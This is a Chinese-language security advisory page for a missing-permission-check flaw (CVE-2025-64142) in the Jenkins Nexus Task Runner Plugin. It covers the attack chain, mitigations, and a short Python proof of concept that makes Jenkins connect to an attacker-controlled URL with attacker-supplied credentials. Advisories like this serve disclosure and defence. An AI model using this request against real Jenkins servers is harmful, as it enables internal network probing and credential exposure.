IPBUF安全漏洞报告
English
CVE-2025-64142 CVSS 4.3 中危

Jenkins Nexus Task Runner Plugin 缺失权限检查漏洞 (CVE-2025-64142)

披露日期: 2025-10-29

漏洞信息

漏洞编号
CVE-2025-64142
漏洞类型
缺失权限检查
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Jenkins Nexus Task Runner Plugin

相关标签

缺失权限检查Jenkins插件漏洞CVE-2025-64142凭证泄露SSRFNexus Task Runner中危漏洞

漏洞概述

Jenkins Nexus Task Runner Plugin 0.9.2及更早版本存在一个严重的安全漏洞,该漏洞源于缺少适当的权限检查。具体而言,具有Overall/Read权限的认证用户可以连接到攻击者指定的URL,并使用攻击者提供的凭证执行操作。这意味着低权限用户能够利用插件的功能向外部服务器发送HTTP请求,可能导致敏感信息泄露或对外部系统的未授权访问。该漏洞的CVSS评分为4.3,属于中等严重程度,攻击向量为网络,认证要求较低,无需用户交互即可利用。攻击成功后可能影响系统的机密性和完整性,但不会影响可用性。

技术细节

Jenkins Nexus Task Runner Plugin的漏洞位于其任务执行功能的权限验证环节。在Jenkins的安全模型中,插件应该对所有涉及敏感操作的功能进行权限检查,确保只有具有适当权限的用户才能执行。然而,该插件在处理URL连接和凭证配置时,仅验证了用户是否具有Overall/Read权限,而没有进一步检查用户是否具有执行特定操作的权限。攻击者可以利用此漏洞,通过Jenkins的API或UI构造恶意请求,指定任意URL和凭证信息,触发插件向外部端点发送HTTP请求。这种请求可以用于端口扫描、内网探测、窃取敏感数据或将Jenkins服务器作为代理发起进一步攻击。由于Jenkins通常具有较高的网络访问权限和系统访问权限,此类漏洞可能造成严重的安全风险。攻击者无需特殊权限,只需基本的读权限即可利用此漏洞,这大大降低了攻击门槛。

攻击链分析

STEP 1
1
攻击者获取Jenkins账户,具有Overall/Read权限
STEP 2
2
攻击者构造恶意请求,指定攻击者控制的URL和凭证
STEP 3
3
通过Jenkins API或UI发送请求到Nexus Task Runner Plugin的漏洞端点
STEP 4
4
插件执行HTTP请求,连接到攻击者指定的URL
STEP 5
5
攻击者服务器记录来自Jenkins服务器的请求,用于端口扫描或数据收集
STEP 6
6
如使用有效凭证,可能导致凭证泄露或对外部系统的未授权访问

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-64142 PoC - Jenkins Nexus Task Runner Plugin Missing Permission Check # This PoC demonstrates how an attacker with Overall/Read permission can abuse the vulnerability import requests import json # Configuration JENKINS_URL = "http://target-jenkins-server:8080" ATTACKER_URL = "http://attacker-controlled-server:8000/collect" ATTACKER_CREDS = "username:password" # Authentication (requires Overall/Read permission) session = requests.Session() # Replace with actual credentials or use API token session.auth = ('low_privilege_user', 'password') # Construct malicious request to trigger HTTP connection payload = { "name": "nexus-task", "url": ATTACKER_URL, "credentials": ATTACKER_CREDS, "action": "connect" } # Send request through Jenkins API api_endpoint = f"{JENKINS_URL}/plugin/nexus-task-runner/connect" response = session.post(api_endpoint, json=payload) print(f"Response Status: {response.status_code}") print(f"Response Body: {response.text}") # Note: This PoC is for educational and testing purposes only

影响范围

Jenkins Nexus Task Runner Plugin <= 0.9.2

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时措施:限制用户的Overall/Read权限分配;禁用或移除Nexus Task Runner Plugin;配置Jenkins的安全策略限制出站HTTP请求;在网络边界添加监控和过滤规则,检测异常的外部连接请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表